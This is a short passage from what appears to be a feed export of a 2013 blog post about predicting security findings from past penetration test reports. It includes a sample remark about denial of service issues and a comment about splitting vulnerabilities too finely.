21:12:00 +0000"],"atom:updated":["2013-04-08T10:22:54.257-07:00"],"title":["Predicting your future from past reports"],"description":["A sample comment can be \"You only had a few denial of service issues, but if you remember, those were all critical issues that could end a business line.\" |
This is obviously a chart from a full year...if you have 39 critical findings from one engagement then you are splitting vulnerabilities up with too much granularity. |